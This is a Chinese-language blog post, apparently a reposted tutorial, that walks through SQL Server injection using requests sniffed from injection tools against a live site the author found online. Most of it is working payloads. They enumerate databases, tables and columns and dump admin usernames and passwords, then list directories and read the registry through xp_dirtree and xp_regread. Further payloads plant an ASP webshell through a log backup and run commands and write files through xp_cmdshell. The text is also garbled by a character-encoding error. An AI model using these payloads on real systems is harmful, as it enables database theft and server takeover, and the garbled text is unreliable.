


了解SQL Server注入細(xì)節(jié)
想了解sql注入的過(guò)程和原理,網(wǎng)上找了些文章,講得都比較膚淺,但是我知道有幾款國(guó)內(nèi)比較常用的注入工具,比如Domain3.5、 NBSI3.0、啊D2.32、還有Pangolin、還有一些國(guó)外的。這里隨便弄幾個(gè)來(lái)研究一下就ok。這次用到的嗅探工具是sniffx專門嗅探 http的數(shù)據(jù)包,功能不強(qiáng)大,但是足夠這次活動(dòng)的使用。本來(lái)想使用ethereal或wireshark,但是里面復(fù)制數(shù)據(jù)包內(nèi)容老是把沒(méi)有轉(zhuǎn)碼的16 進(jìn)制也復(fù)制了過(guò)來(lái),有點(diǎn)麻煩。也就是說(shuō)這兩個(gè)工具用得不嫻熟。
【查詢數(shù)據(jù)庫(kù)信息】
本地沒(méi)有找到好點(diǎn)的有注入漏洞的系統(tǒng),只好在網(wǎng)上尋找了,先用Domain3.5,運(yùn)行很好以來(lái)就找到個(gè)sql server,sa權(quán)限的注入點(diǎn),點(diǎn)Domain3.5上面的“開(kāi)始檢測(cè)”
以下是Domain3.5中嗅探出來(lái)的http數(shù)據(jù)包:
news_show.asp?id=15618%20and%201=1
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)=1
以下是NBSI3.0中嗅探出來(lái)的http數(shù)據(jù)包:
news_show.asp?id=15618%20and%20user%2Bchar(124)=0
news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0
news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1
news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–
啊D和Pangolin的數(shù)據(jù)包這里就不列出來(lái)了,都差不多。基本的過(guò)程是通過(guò)and 1=1和and 1=2來(lái)判斷是否可注入,一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然后and exists(select * from sysobjects)來(lái)判斷數(shù)據(jù)庫(kù)類型,sysobjects是sqlserver每個(gè)數(shù)據(jù)庫(kù)自帶的用來(lái)存儲(chǔ)數(shù)據(jù)庫(kù)信息的表格,access每個(gè)數(shù)據(jù)庫(kù) 自帶的表格是msysobjects。判斷出來(lái)是sqlserver數(shù)據(jù)庫(kù)之后,然后用系統(tǒng)自帶的變量user,system_user和0比較,system_user是nchar類型,user是char類型,0是肯定是int類型,因?yàn)椴煌愋偷臄?shù)據(jù)在sqlserver中無(wú)法直接比較,所以對(duì)于開(kāi)啟錯(cuò)誤提示的sqlserver來(lái)說(shuō)就會(huì)報(bào)錯(cuò),順便將敏感信息也暴了出來(lái):
關(guān)于user,system_user的解釋,點(diǎn)上面的鏈接到msdn上去看看。
Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1中cast()作
用是將一種數(shù)據(jù)類型的表達(dá)式顯式轉(zhuǎn)換為另一種數(shù)據(jù)類型的表達(dá)式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示
SQL Server 2005
登錄名是否為指定固定服務(wù)器角色的成員,返回值類型為int,0表示不是某某成員,1表示是。
0×730079007300610064006D0069006E00是’sysadmin’的16進(jìn)制碼,為啥要弄成16進(jìn)制呢,我猜想可能是怕網(wǎng)站
程序過(guò)濾點(diǎn)sysadmin關(guān)鍵字,如果頁(yè)面正常返回(200),則表示該用戶是sysadmin。精心將int轉(zhuǎn)換成nvarchar(1)又會(huì)暴出類
型轉(zhuǎn)換錯(cuò)誤,而這就是黑客所需要的信息。db_name()回暴出當(dāng)前數(shù)據(jù)庫(kù)名。
;declare%20@a%20int–申明一個(gè)int變量a,作用我不得而知。
接下來(lái)的工作是列出服務(wù)器上的數(shù)據(jù)庫(kù)名:(假設(shè)服務(wù)器上有16個(gè)數(shù)據(jù)庫(kù))
- news_show.asp?id=15618 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From master..sysdatabases)%3E0
- news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
- news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
- news_show.asp?id=15618 And (Select Top 1 cast([name] as nvarchar(4000))%2Bchar(124) from(Select Top 16 dbid,name from [master].[dbo].[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
先列出上面UrlEncode的字符
%2B — ‘+’
%3E — ‘>’
%20 — ‘ ‘
%2F — ‘/’
我只能說(shuō)這些sql語(yǔ)句構(gòu)造得是相當(dāng)?shù)那擅畎。议_(kāi)始納悶了,為啥非要用子查詢呢。于是我直接用
Select Top X dbid,name from [master].[dbo].[sysdatabases] order by [dbid]
當(dāng)X為1,也就是返回第一個(gè)的時(shí)候,是沒(méi)有問(wèn)題的,返回了master,但是X為2的時(shí)候就出現(xiàn)錯(cuò)誤:
“子查詢返回的值多于一個(gè)。當(dāng)子查詢跟隨在 =、!=、<、<=、>、>= 之后,或子查詢用作表達(dá)式時(shí),這種情況是不允許的。”
這個(gè)時(shí)候子查詢就起到了關(guān)鍵作用。還有開(kāi)始不知道T是啥玩意,后來(lái)才知道sqlserver子查詢必須要起一個(gè)別名,T就是那個(gè)別名,然后把查詢的語(yǔ)句繼續(xù)和0比較報(bào)錯(cuò) 這樣就暴出了所有的數(shù)據(jù)庫(kù)名。
第一個(gè)select count(1)返回?cái)?shù)據(jù)庫(kù)數(shù)量。
接下來(lái)是猜解表名,假設(shè)我們當(dāng)前的數(shù)據(jù)庫(kù)是news,那么首先猜解數(shù)據(jù)庫(kù)的表的數(shù)量:
news_show.asp?id=15618
And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From
news..sysobjects where xtype=0×55)>0
xtype的為數(shù)據(jù)表類型,0×55就是U,就是用戶表。其他的參見(jiàn)這里有詳細(xì)的解釋。
然后分別列出表名:
news_show.asp?id=15618 And (Select Top 1 cast(name as
nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects]
Where xtype=0×55 order by id) T order by id desc)>0
修改第二個(gè)Top 1為1到表數(shù)就可以了。
然后是猜解列名,假設(shè)要猜解的表為Admin,首先得到表在sysobjects中存儲(chǔ)的唯一id:
news_show.asp?id=15618 And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name=’Admin‘)>0
猜解表名,id就是上面查詢出來(lái)Admin表的id。
news_show.asp?id=15618 And (Select Top 1
cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name
From [news].[dbo].[syscolumns] Where id = 1993058136 Order by colid) T Order by colid desc)>0
假設(shè)猜解出來(lái)的列名有id,AdminName,AdminPassword,AdminPower,Userid,ct
假設(shè)只猜解AdminName和AdminPassword的值
首先查看Admin表有多少條記錄:
news_show.asp?id=15618 And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0
返回第一列數(shù)據(jù):
news_show.asp?id=15618 And (Select Top 1
isNull(cast([AdminName] as nvarchar(4000)),char(32)) char(124)
isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select
Top 1 [AdminName],[AdminPassword] From [news]..[Admin] Where 1=1 Order
by [AdminName]) T Order by [AdminName] Desc)>0
isNull是判定數(shù)據(jù)是否為空,為空就返回后面那個(gè)char(32)的值也就是空格->‘ ’ 。
后面的以此類推。
【讀取目錄—-xp_dirtree】
drop掉表,然后在當(dāng)前數(shù)據(jù)庫(kù)創(chuàng)建一個(gè)表,有三個(gè)字段subdirectory,depth,file
Board.asp?id=494;DROP TABLE techguru;CREATE TABLE techguru(subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)–
清空表的數(shù)據(jù),然后把xp_dirtree存儲(chǔ)過(guò)程的結(jié)果存入techguru表,xp_dirtree第一個(gè)參數(shù)是路徑,第二個(gè)是深度,為0時(shí)無(wú)限遞歸,第三個(gè)是文件類型,1為文件夾和文件,0為只顯示文件夾。
Board.asp?id=494;DELETE techguru;Insert techguru exec master..xp_dirtree ‘c:\’,1,1–
開(kāi)始一個(gè)一個(gè)的抓取文件,目錄名字,每次增加第二個(gè)top后面的數(shù)
Board.asp?id=494 And (Select Top 1
cast([subdirectory] as nvarchar(400))%2Bchar(124)%2Bcast([file] as
nvarchar(1))%2Bchar(124) From(Select Top 1 [subdirectory],[file] From
techguru ORDER BY [file],[subdirectory]) T ORDER BY [file]
desc,[subdirectory] desc)=0
移除表:
Board.asp?id=494;DROP TABLE techguru–
【讀取注冊(cè)表—-xp_regread】
首先建立一個(gè)表,有兩列Value和Data
Board.asp?id=494;DROP TABLE [techguru];CREATE TABLE [techguru](Value nvarchar(4000) NULL,Data nvarchar(4000) NULL)–
執(zhí)行xp_regread寫入剛建立的表
Board.asp?id=494;DELETE [techguru];Insert
[techguru] exec master.dbo.xp_regread
‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual
Roots’,'/’–
讀出來(lái)
Board.asp?id=494 And (Select Top 1 cast([Data] as nvarchar(4000))%2Bchar(124) From [techguru] order by [Data] desc)=0
刪表
Board.asp?id=494;DROP TABLE [techguru]–
【上傳webshell—-backup log xx to disk】
備份log,截?cái)?,截?cái)?
第 一 步:建立存一句話木馬的表
Board.asp?id=494;create table [dbo].[shit_tmp] ([cmd] [image])–
第 二 步:0×7900690061006F006C007500是‘yiaolu’的sql編碼
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate–
第 三 步:0×3C25657865637574652872657175657374282261222929253E是<%execute(request(”a”))%>的hex。
Board.asp?id=494;insert into [shit_tmp](cmd) values
(0×3C25657865637574652872657175657374282261222929253E)–
第 四 步0×64003A005C003100320033002E00610073007000是d:\123.asp的sql編碼
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate–
第 五 步
Board.asp?id=494;Drop table [shit_tmp]–
【執(zhí)行命令】
;CREATE TABLE [X_2894]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);
insert into [X_2894](ResultTxt) exec master.dbo.xp_cmdshell ‘Dir C:\’;
insert into [X_2894] values (’g_over’);exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–
;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–
And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0
……
And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 23 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0
g_over這個(gè)是專門插入用來(lái)作為命令回顯結(jié)束的標(biāo)志。
;DROP TABLE [X_2894];–
【本地文件上傳】
假設(shè)上傳到服務(wù)器c:\down.vbs位置
;exec master.dbo.xp_cmdshell ‘del C:\down.vbs’–
;exec master.dbo.xp_cmdshell ‘ecHo [DeleteOnCopy] >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–
;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–
;exec master.dbo.xp_cmdshell ‘ecHo Owner=Administrator >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–
;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–
;exec master.dbo.xp_cmdshell ‘ecHo Personalized=5 >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–
;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–
;exec master.dbo.xp_cmdshell ‘ecHo PersonalizedName=My Documents >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–
;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–
總結(jié)來(lái)說(shuō)就是調(diào)用xp_cmdshell執(zhí)行echo 一句句的寫入文件。
這次分析算是告一段落,不過(guò)還有mysql,access,oracle,db2,infomix……….等待探索。
關(guān)鍵字:SQL Server、數(shù)據(jù)庫(kù)
新文章:
- CentOS7下圖形配置網(wǎng)絡(luò)的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
- CentOS單網(wǎng)卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗(yàn)證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網(wǎng)打印機(jī)IP講解
- CentOS7使用hostapd實(shí)現(xiàn)無(wú)AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網(wǎng)絡(luò)重啟出錯(cuò)
- 解決Centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統(tǒng)有什么不同呢
- Centos 6.6默認(rèn)iptable規(guī)則詳解